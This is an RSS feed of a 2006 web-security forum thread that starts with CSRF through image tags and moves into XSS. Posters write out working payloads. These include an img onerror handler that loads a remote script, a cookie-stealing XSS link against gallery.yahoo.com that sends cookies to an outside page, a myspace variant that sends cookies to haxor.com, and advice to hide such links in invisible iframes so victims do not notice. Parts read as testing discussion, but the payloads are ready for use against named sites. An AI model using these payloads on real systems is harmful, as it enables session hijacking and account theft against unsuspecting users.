<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
    <channel>
        <title>CSRF from inside image tags, discuss please</title>
        <description>Yep, GET links like: index.php?page=delete&amp;id=45 inside  tags work, but what if  
orthe delete action only allows POST? I guess POST can never be &quot;done&quot; from an  tag,  but maybe I've missed something.

Feel free to discuss other techniques by using the  tag to silently executes GET's. :)</description>
        <link>http://sla.ckers.org/forum/read.php?4,306,306#msg-306</link>
        <lastBuildDate>Fri, 24 May 2013 07:31:20 -0500</lastBuildDate>
        <generator>Phorum 5.2.15a</generator>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?4,306,3711#msg-3711</guid>
            <title>Re: CSRF from inside image tags, discuss please</title>
            <link>http://sla.ckers.org/forum/read.php?4,306,3711#msg-3711</link>
            <description><![CDATA[ah, i was making the assumption it wasn't XSS and similar to the normal 'pick your remote image for an avatar' .. but if you can insert &quot; quotations in that, onerror is definitely the way to go.<br />
<br />
-maluc]]></description>
            <dc:creator>maluc</dc:creator>
            <category>CSRF and Session Info</category>
            <pubDate>Tue, 05 Dec 2006 13:51:01 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?4,306,3694#msg-3694</guid>
            <title>Re: CSRF from inside image tags, discuss please</title>
            <link>http://sla.ckers.org/forum/read.php?4,306,3694#msg-3694</link>
            <description><![CDATA[Or how about &lt;IMG SRC=&quot;&quot; onerror=&quot;alert('XSS')&quot;&gt; that would work too. ;)  But if you are JUST talking about CSRF and not XSS the answer is no... you can't force the browser to go anywhere other than request a page.  It won't &quot;go&quot; there as in render the content inside of the image tag, but it will send the browser there and act as a &quot;click&quot; regardless if the page you request is an image or not.]]></description>
            <dc:creator>rsnake</dc:creator>
            <category>CSRF and Session Info</category>
            <pubDate>Tue, 05 Dec 2006 10:25:52 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?4,306,3687#msg-3687</guid>
            <title>Re: CSRF from inside image tags, discuss please</title>
            <link>http://sla.ckers.org/forum/read.php?4,306,3687#msg-3687</link>
            <description><![CDATA[nope.. only in IE6. with &lt;img src=&quot;javascript:alert(1)&quot;&gt;<br />
<br />
can't do it in firefox or ie7 though.. in those, it's only useful for CSRF that doesn't require an XSS or POSTing<br />
<br />
-maluc]]></description>
            <dc:creator>maluc</dc:creator>
            <category>CSRF and Session Info</category>
            <pubDate>Mon, 04 Dec 2006 22:39:15 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?4,306,3686#msg-3686</guid>
            <title>Re: CSRF from inside image tags, discuss please</title>
            <link>http://sla.ckers.org/forum/read.php?4,306,3686#msg-3686</link>
            <description><![CDATA[Is it possible to execute anything on the _current_ page where the img tag resides ?<br />
<br />
I'd like to e.g. forward the page to some other URL or execute some javascript...]]></description>
            <dc:creator>bobstar</dc:creator>
            <category>CSRF and Session Info</category>
            <pubDate>Mon, 04 Dec 2006 22:06:44 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?4,306,2700#msg-2700</guid>
            <title>Re: CSRF from inside image tags, discuss please</title>
            <link>http://sla.ckers.org/forum/read.php?4,306,2700#msg-2700</link>
            <description><![CDATA[Strange...must be an ASP.NET thing because the window.attachEvent doesn't work. It renders the code to the page, but it doesn't execute it...]]></description>
            <dc:creator>sjensen</dc:creator>
            <category>CSRF and Session Info</category>
            <pubDate>Thu, 09 Nov 2006 17:01:46 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?4,306,2696#msg-2696</guid>
            <title>Re: CSRF from inside image tags, discuss please</title>
            <link>http://sla.ckers.org/forum/read.php?4,306,2696#msg-2696</link>
            <description><![CDATA[hrm.. ya my logic was a bit flawed on that one.. because just appending the script tag (or anything) to the document was enough to cause the error while loading.. so the only surefire way is to either:<br />
<br />
A) when it's for XSS, which injects html not javascript - use the defer tag.. i.e. <pre class="bbcode">http://myspace.com/profile?id=&quot;&gt;&lt;script defer src=&quot;http://ha.ckers.org/s.js&quot;&gt;&lt;/script&gt;&lt;x</pre>
or<br />
<br />
B) when it's for XSS which injects into javascript code.. add a function to the window.onload event to insert that remote script to the document. this has a drawback of not executing until the page fully loads - so if that's unacceptable, the only choice is to inject the entire exploit into the local javascript.<br />
<br />
an example of window.onload appending that doesn't overwrite existing window.onload events (overwriting might badly break a page):<br />
<pre class="bbcode">if(window.attachEvent){window.attachEvent('onload','exploit')}function exploit(){alert('exploit code goes here')}</pre>
<br />
That only works for IE .. to work in firefox too, add an <pre class="bbcode">else if(window.addEventListener){window.addEventListener('load','exploit',false)}</pre>Thank IE for not following w3c standards.<br />
<br />
All that replaces the blah in &lt;img src=&quot;&quot; onerror=&quot;blah&quot;&gt; .. hopefully i didn't overcomplicate the explanation (or make mistakes, too lazy to test but should work fine)<br />
<br />
-maluc]]></description>
            <dc:creator>maluc</dc:creator>
            <category>CSRF and Session Info</category>
            <pubDate>Thu, 09 Nov 2006 16:29:31 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?4,306,2694#msg-2694</guid>
            <title>Re: CSRF from inside image tags, discuss please</title>
            <link>http://sla.ckers.org/forum/read.php?4,306,2694#msg-2694</link>
            <description><![CDATA[Adding the &quot;defer&quot; didn't prevent the error, but that's okay, because by adding that script it actually causes the application to crash anyway...<br />
<br />
I did another test using xss that locked the application in an infinite loop posting the cookie value to another domain, then doing a history.back, then it reposts, then back, etc...also causing the application to crash...]]></description>
            <dc:creator>sjensen</dc:creator>
            <category>CSRF and Session Info</category>
            <pubDate>Thu, 09 Nov 2006 14:18:09 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?4,306,2693#msg-2693</guid>
            <title>Re: CSRF from inside image tags, discuss please</title>
            <link>http://sla.ckers.org/forum/read.php?4,306,2693#msg-2693</link>
            <description><![CDATA[oh sorry, i forgot to add defer.. IE freaks out if you add anything to the document innerHTML before the page finishes loading.. adding DEFER should solve it:<br />
<br />
<pre class="bbcode">&lt;img src=&quot;&quot; onerror=&quot;x=document.createElement('&lt;sc'+'ript defer src=http://ha.ckers.org/s.js&gt;');document.body.appendChild(x)&quot;&gt;</pre>
<br />
btw, i can't tell you how long the damned error took me to debug the first time i ran across it ^^;<br />
<br />
-maluc]]></description>
            <dc:creator>maluc</dc:creator>
            <category>CSRF and Session Info</category>
            <pubDate>Thu, 09 Nov 2006 14:01:23 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?4,306,2692#msg-2692</guid>
            <title>Re: CSRF from inside image tags, discuss please</title>
            <link>http://sla.ckers.org/forum/read.php?4,306,2692#msg-2692</link>
            <description><![CDATA[I change the url, still got the same &quot;IE can't open the internet site...&quot; error message, but it did throw the alert with the cookie in it...]]></description>
            <dc:creator>sjensen</dc:creator>
            <category>CSRF and Session Info</category>
            <pubDate>Thu, 09 Nov 2006 13:54:36 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?4,306,2690#msg-2690</guid>
            <title>Re: CSRF from inside image tags, discuss please</title>
            <link>http://sla.ckers.org/forum/read.php?4,306,2690#msg-2690</link>
            <description><![CDATA[That's retarded.  Why do people keep blocking this domain?  That's easy enough to get around. I threw the xss.js file on fthe.net:<br />
<br />
http://fthe.net/xss.js]]></description>
            <dc:creator>rsnake</dc:creator>
            <category>CSRF and Session Info</category>
            <pubDate>Thu, 09 Nov 2006 13:25:18 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?4,306,2688#msg-2688</guid>
            <title>Re: CSRF from inside image tags, discuss please</title>
            <link>http://sla.ckers.org/forum/read.php?4,306,2688#msg-2688</link>
            <description><![CDATA[I pasted the above script in but received a &quot;Internet Explorer can't open the internet site.&quot; This maybe because my company has the ha.ckers.org site blocked.<br />
<br />
btw, I'm running IE 7.]]></description>
            <dc:creator>sjensen</dc:creator>
            <category>CSRF and Session Info</category>
            <pubDate>Thu, 09 Nov 2006 13:12:40 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?4,306,2685#msg-2685</guid>
            <title>Re: CSRF from inside image tags, discuss please</title>
            <link>http://sla.ckers.org/forum/read.php?4,306,2685#msg-2685</link>
            <description><![CDATA[yes, alert can be any javascript code.. so insert an entire exploit or just load a remote script<br />
<br />
<pre class="bbcode">&lt;img src=&quot;&quot; onerror=&quot;x=document.createElement('&lt;sc'+'ript src=http://ha.ckers.org/s.js&gt;');document.body.appendChild(x)&quot;&gt;</pre>
<br />
the remote script has full access to the DOM, including cookies<br />
<br />
as for the iframe not working.. that may be ie6 only.. to lazy to consult the XSS cheat sheet<br />
<br />
-maluc]]></description>
            <dc:creator>maluc</dc:creator>
            <category>CSRF and Session Info</category>
            <pubDate>Thu, 09 Nov 2006 12:49:11 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?4,306,2681#msg-2681</guid>
            <title>Re: CSRF from inside image tags, discuss please</title>
            <link>http://sla.ckers.org/forum/read.php?4,306,2681#msg-2681</link>
            <description><![CDATA[Just tried them...<br />
<br />
The first one (&lt;iframe src=&quot;javascript:alert('XSS')&quot;&gt;&lt;/iframe&gt;)<br />
renders the iframe with a 404 page, no alert is executed.<br />
<br />
The second one (&lt;IMG SRC=&quot;&quot; onerror=&quot;alert('XSS')&quot;&gt;) worked! It threw up the alert box.<br />
<br />
So the next thing is...how can it be exploited maliciously??]]></description>
            <dc:creator>sjensen</dc:creator>
            <category>CSRF and Session Info</category>
            <pubDate>Thu, 09 Nov 2006 12:25:24 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?4,306,2679#msg-2679</guid>
            <title>Re: CSRF from inside image tags, discuss please</title>
            <link>http://sla.ckers.org/forum/read.php?4,306,2679#msg-2679</link>
            <description><![CDATA[sjensen, without seeing the page it's hard to tell but did you try things like<br />
<br />
&lt;iframe src=&quot;javascript:alert('XSS')&quot;&gt;&lt;/iframe&gt;<br />
<br />
and<br />
<br />
&lt;IMG SRC=&quot;&quot; onerror=&quot;alert('XSS')&quot;&gt;]]></description>
            <dc:creator>rsnake</dc:creator>
            <category>CSRF and Session Info</category>
            <pubDate>Thu, 09 Nov 2006 12:19:03 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?4,306,2678#msg-2678</guid>
            <title>Re: CSRF from inside image tags, discuss please</title>
            <link>http://sla.ckers.org/forum/read.php?4,306,2678#msg-2678</link>
            <description><![CDATA[Nice find!  I used to think Yahoo was pretty good about this sort of thing.]]></description>
            <dc:creator>rsnake</dc:creator>
            <category>CSRF and Session Info</category>
            <pubDate>Thu, 09 Nov 2006 12:17:37 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?4,306,2677#msg-2677</guid>
            <title>Re: CSRF from inside image tags, discuss please</title>
            <link>http://sla.ckers.org/forum/read.php?4,306,2677#msg-2677</link>
            <description><![CDATA[Yes, I may have mixed up my acronyms. Here's why I ask. The developers in my department use various 3rd party rich textbox controls in their applications. Most I have tested do not allow &lt;script&gt; tags, at least not directly. I haven't come up with too many ways to encode them though...<br />
<br />
But these 3rd party controls do allow html tags, &lt;br&gt;, &lt;img&gt;, &lt;iframe&gt; so I was curious what malicious things I could demonstrate that are severe enough that a manager's ears would &quot;perk up&quot; and take notice. Stealing a cookie and impersonating a user always does it, but that's using script.<br />
<br />
We do require our developers to have a &quot;Logout&quot; page, so I could demonstrate the &lt;iframe src=&quot;/logout.aspx&quot;&gt; on the first page, that would keep the user in a never ending loop of logging in, then out, then in, then out, etc...<br />
<br />
Any suggestions would be appreciated...]]></description>
            <dc:creator>sjensen</dc:creator>
            <category>CSRF and Session Info</category>
            <pubDate>Thu, 09 Nov 2006 12:16:02 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?4,306,2676#msg-2676</guid>
            <title>Re: CSRF from inside image tags, discuss please</title>
            <link>http://sla.ckers.org/forum/read.php?4,306,2676#msg-2676</link>
            <description><![CDATA[For those who learn better by example, this will steal someones yahoo cookies. (my cookiestealer test http://scripts.sitesled.com/cookiemonster.html is only javascript and doesn't store anything, so its safe to click) If it includes the cookies Y and T, you should be able to login to their email account.<br />
<br />
http://gallery.yahoo.com/error.php?e=--%3E%3Cscript%3Edocument.write('%3Ciframe%20src=http://scripts.sitesled.com/cookiemonster.html?'%2Bescape(document.cookie)%2B'%3Ehiya')%3C/script%3E%3Cx<br />
<br />
convincing someone to click such a link is suspicious.. so paste this inside any webpage of your own<br />
<pre class="bbcode">
&lt;iframe height=0 width=0 style=&quot;visibility:hidden&quot;
src=&quot;http://gallery.yahoo.com/error.php?e=--%3E%3Cscript%3Edocument.write('%3Ciframe%20src=http://scripts.sitesled.com/cookiemonster.html?'%2Bescape(document.cookie)%2B'%3Ehiya')%3C/script%3E%3Cx&quot;&gt;
&lt;/iframe&gt;</pre>
<br />
An example nonsuspicious link (ignoring the alert that pops up)<br />
http://maluc.sitesled.com/funful.html]]></description>
            <dc:creator>maluc</dc:creator>
            <category>CSRF and Session Info</category>
            <pubDate>Thu, 09 Nov 2006 12:03:22 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?4,306,2670#msg-2670</guid>
            <title>Re: CSRF from inside image tags, discuss please</title>
            <link>http://sla.ckers.org/forum/read.php?4,306,2670#msg-2670</link>
            <description><![CDATA[maybe you just got your acronyms mixed up, but you can't do it with CSRF, document.cookie appends the cookies for the page the javascript is run from. Thus you need an XSS hole to do it.<br />
<br />
Putting this on your evil.com website:<pre class="bbcode">&lt;script&gt;document.write('&lt;img src=&quot;http://haxor.com/cookiecatcher.asp?'+document.cookie+'&quot;&gt;')&lt;/script&gt;</pre>will obviously just insert the cookies for evil.com<br />
<br />
That's where XSS comes in - injecting that javascript into myspace..<br />
<pre class="bbcode">http://myspace.com/profile?id=&quot;&gt;&lt;script&gt;document.write('&lt;img src=&quot;http://haxor.com/cookiecatcher.asp?'+document.cookie+'&quot;&gt;')&lt;/script&gt;</pre>
You'll probably have to hex encode the + to %2B among others. and this will send the myspace cookies to haxor.com<br />
<br />
This has nothing to do with CSRF though, all XSS. And to make the link more subtle.. send them to evil.com/happykittendance.html .. and inside your happykittendance.html include the following:<br />
<pre class="bbcode">&lt;iframe height=0 width=0 style=&quot;visibility:hidden&quot; src=&quot;http://myspace.com/profile?id=%27&gt;&lt;script&gt;document.write('&lt;img%20src=%22http://haxor.com/cookiecatcher.asp?'%2Bdocument.cookie%2B'%22&gt;')&lt;/script&gt;&quot;&gt;</pre>
<br />
When they visit happykittendance.html .. a hidden iframe will eat their cookies - using only XSS<br />
<br />
-maluc]]></description>
            <dc:creator>maluc</dc:creator>
            <category>CSRF and Session Info</category>
            <pubDate>Thu, 09 Nov 2006 10:49:10 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?4,306,2665#msg-2665</guid>
            <title>Re: CSRF from inside image tags, discuss please</title>
            <link>http://sla.ckers.org/forum/read.php?4,306,2665#msg-2665</link>
            <description><![CDATA[Unfortunately no, that won't work in the way you typed it, unless there were some very strange circumstances where they replaced anything that said &quot;document.cookie&quot; on a page with the cookies in question (which will never happen in the wild).<br />
<br />
You can use iframes or images to automatically log people out through CSRF, but capturing the usernames and passwords upon re-login requires something more than CSRF.  And btw, if you can enter an iframe you can use JavaScript which takes out outside the narrow band of CSRF only.]]></description>
            <dc:creator>rsnake</dc:creator>
            <category>CSRF and Session Info</category>
            <pubDate>Thu, 09 Nov 2006 10:19:01 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?4,306,2661#msg-2661</guid>
            <title>Re: CSRF from inside image tags, discuss please</title>
            <link>http://sla.ckers.org/forum/read.php?4,306,2661#msg-2661</link>
            <description><![CDATA[Is it possible to access cookies through CSRF attacks?? <br />
<br />
Example: (I haven't gotten these to work)<br />
<br />
&lt;img src='http://somesite.com/stealcookie.asp?cookie=&quot; + document.cookie + &quot;'&gt;<br />
<br />
or<br />
<br />
&lt;iframe src='http://somesite.com/stealcookie.asp?cookie=&quot; + document.cookie + &quot;'&gt;<br />
<br />
I read on another thread creating an iframe to automatically log a person out, then access their username/password when they are forced to log back in...]]></description>
            <dc:creator>sjensen</dc:creator>
            <category>CSRF and Session Info</category>
            <pubDate>Thu, 09 Nov 2006 10:09:23 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?4,306,1911#msg-1911</guid>
            <title>Re: CSRF from inside image tags, discuss please</title>
            <link>http://sla.ckers.org/forum/read.php?4,306,1911#msg-1911</link>
            <description><![CDATA[tehryan, that's a cool bookmarklet... what would be even better is if you had a stripped down version that did what the WebDeveloper plugin does and just reversed ever form method for you so you didn't have to go through and change them one at a time.  Very cool though.  And btw, if you are looking for jobs, stay tuned on the job board.  I get lots of offers thrown my way and many of them are entry level.]]></description>
            <dc:creator>rsnake</dc:creator>
            <category>CSRF and Session Info</category>
            <pubDate>Thu, 19 Oct 2006 10:29:46 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?4,306,1900#msg-1900</guid>
            <title>Re: CSRF from inside image tags, discuss please</title>
            <link>http://sla.ckers.org/forum/read.php?4,306,1900#msg-1900</link>
            <description><![CDATA[Opera.]]></description>
            <dc:creator>Kyran</dc:creator>
            <category>CSRF and Session Info</category>
            <pubDate>Thu, 19 Oct 2006 01:34:56 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?4,306,1899#msg-1899</guid>
            <title>Re: CSRF from inside image tags, discuss please</title>
            <link>http://sla.ckers.org/forum/read.php?4,306,1899#msg-1899</link>
            <description><![CDATA[menusetup in firefox or opera?<br />
<br />
-maluc]]></description>
            <dc:creator>maluc</dc:creator>
            <category>CSRF and Session Info</category>
            <pubDate>Thu, 19 Oct 2006 00:09:56 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?4,306,1898#msg-1898</guid>
            <title>Re: CSRF from inside image tags, discuss please</title>
            <link>http://sla.ckers.org/forum/read.php?4,306,1898#msg-1898</link>
            <description><![CDATA[There is a menusetup similar to the WebDeveloper extension that does these things as well.]]></description>
            <dc:creator>Kyran</dc:creator>
            <category>CSRF and Session Info</category>
            <pubDate>Wed, 18 Oct 2006 23:52:51 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?4,306,1893#msg-1893</guid>
            <title>Re: CSRF from inside image tags, discuss please</title>
            <link>http://sla.ckers.org/forum/read.php?4,306,1893#msg-1893</link>
            <description><![CDATA[useful for those on Opera/Safari.. but for those using Firefox, it's included in the WebDeveloper extension and works quite nicely.<br />
<br />
-maluc]]></description>
            <dc:creator>maluc</dc:creator>
            <category>CSRF and Session Info</category>
            <pubDate>Wed, 18 Oct 2006 19:31:19 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?4,306,1890#msg-1890</guid>
            <title>Re: CSRF from inside image tags, discuss please</title>
            <link>http://sla.ckers.org/forum/read.php?4,306,1890#msg-1890</link>
            <description><![CDATA[WhiteAcid Wrote:<br />
-------------------------------------------------------<br />
&gt; Ah. Well... then it's pretty much impossible.<br />
&gt; <br />
&gt; &gt;As a side note a lot of applications can switch<br />
&gt; between GET and POST seemlessly<br />
&gt; perhaps JSP, CGI and ASP applications, but most<br />
&gt; PHP developers now properly use $_GET and $_POST<br />
&gt; and have register_globals turned off.<br />
<br />
<br />
HTTP form method strictness is actually a lot less common than you might think. I've designed a few bookmarklets that I use for web app pentesting, one of which can be used to simplify checking if an application is GET/POST strict. <br />
<br />
http://yaisb.blogspot.com/2006/08/new-bookmarklets.html<br />
<br />
The one I'm talking about is called methodToggle ... <br />
it will open a dialogue box, listing all the forms and there methods, you pick one by its index number, and that forms method will be switched.]]></description>
            <dc:creator>tehryan</dc:creator>
            <category>CSRF and Session Info</category>
            <pubDate>Wed, 18 Oct 2006 19:21:17 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?4,306,628#msg-628</guid>
            <title>Re: CSRF from inside image tags, discuss please</title>
            <link>http://sla.ckers.org/forum/read.php?4,306,628#msg-628</link>
            <description><![CDATA[Response splitting doesn't actually make two requests though... it makes the original request (GET) and then forges a second request with whatever you want.  You're still requesting a GET method though.  Unless you mean that the second time you go there the caching server will only look at the second (spoofed) request since it was the one that was cached.<br />
<br />
To your second point if you can inject HTML this is a moot point.  His question is if you just start with an image tag referencing your domain can you change it to POST method.]]></description>
            <dc:creator>rsnake</dc:creator>
            <category>CSRF and Session Info</category>
            <pubDate>Wed, 20 Sep 2006 12:17:04 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?4,306,625#msg-625</guid>
            <title>Re: CSRF from inside image tags, discuss please</title>
            <link>http://sla.ckers.org/forum/read.php?4,306,625#msg-625</link>
            <description><![CDATA[&gt; I guess POST can never be &quot;done&quot; from an &lt;img&gt; tag,<br />
and<br />
&gt; .. it should be impossible to cause a request for an embedded resource to use POST. (If this is not true, I'd consider it a browser bug.)<br />
I disagree to the browser bug. Could be a typical web application security problem too.<br />
<br />
Consider that the img src= gets injected a link to a server which is prone to HTTP Response Splitting, or in short words: to %0d%0a attacks. That should be sufficent to send a POST request following the initial GET request.<br />
<br />
Not really an answer to the initial question: inside img tag, but:<br />
  consider you can inject any HTML code, then you can add your own form with POST<br />
Without JavaScript involved, the victim at least needs to click somewhere.<br />
Note that HTML injection is the basic form of XSS, but no scripting involved.]]></description>
            <dc:creator>kirke</dc:creator>
            <category>CSRF and Session Info</category>
            <pubDate>Wed, 20 Sep 2006 11:59:57 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?4,306,578#msg-578</guid>
            <title>Re: CSRF from inside image tags, discuss please</title>
            <link>http://sla.ckers.org/forum/read.php?4,306,578#msg-578</link>
            <description><![CDATA[To add to RSnake's reference to RFC 2616, here's another relevant section:<br />
<br />
http://www.apps.ietf.org/rfc/rfc2616.html#sec-9.1<br />
<br />
Requests for embedded resources use GET, and the specification requires GET to be both safe and idempotent. This should, in theory, protect against any CSRF attack that uses GET. Unfortunately, this is not the case - web developers can easily make GET neither safe nor idempotent. (This is not just a PHP problem with register_globals and $_REQUEST. I know plenty of other web technologies that make it easy to ignore the distinction for those who choose to do so. It's also why many people encountered problems with the Google Web Accelerator.)<br />
<br />
To answer the original question, it should be impossible to cause a request for an embedded resource to use POST. (If this is not true, I'd consider it a browser bug.) Sure, you can use other attributes in the image tag to execute JavaScript, but that's just using XSS to launch your CSRF attack (a useful combination, but not specific to image tags).<br />
<br />
There are a few techniques that let you silently submit POST requests. I'm assuming you're not asking about these, right?]]></description>
            <dc:creator>shiflett</dc:creator>
            <category>CSRF and Session Info</category>
            <pubDate>Sun, 17 Sep 2006 21:41:39 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?4,306,381#msg-381</guid>
            <title>Re: CSRF from inside image tags, discuss please</title>
            <link>http://sla.ckers.org/forum/read.php?4,306,381#msg-381</link>
            <description><![CDATA[MediaWiki uses GET for a lot of things that shouldn't use get. Fortunantely, they also use tokens which mitigates the risk somewhat (woe to anyone using a Web Accelerator though...)]]></description>
            <dc:creator>Ambush Commander</dc:creator>
            <category>CSRF and Session Info</category>
            <pubDate>Fri, 01 Sep 2006 15:32:38 -0500</pubDate>
        </item>
    </channel>
</rss>
